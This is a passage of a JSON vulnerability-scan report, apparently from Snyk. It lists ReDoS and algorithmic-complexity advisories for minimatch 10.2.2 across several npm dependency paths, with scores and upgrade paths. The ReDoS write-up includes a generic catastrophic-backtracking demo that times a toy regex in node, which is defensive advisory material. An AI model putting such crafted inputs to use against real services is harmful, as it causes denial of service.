"3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": 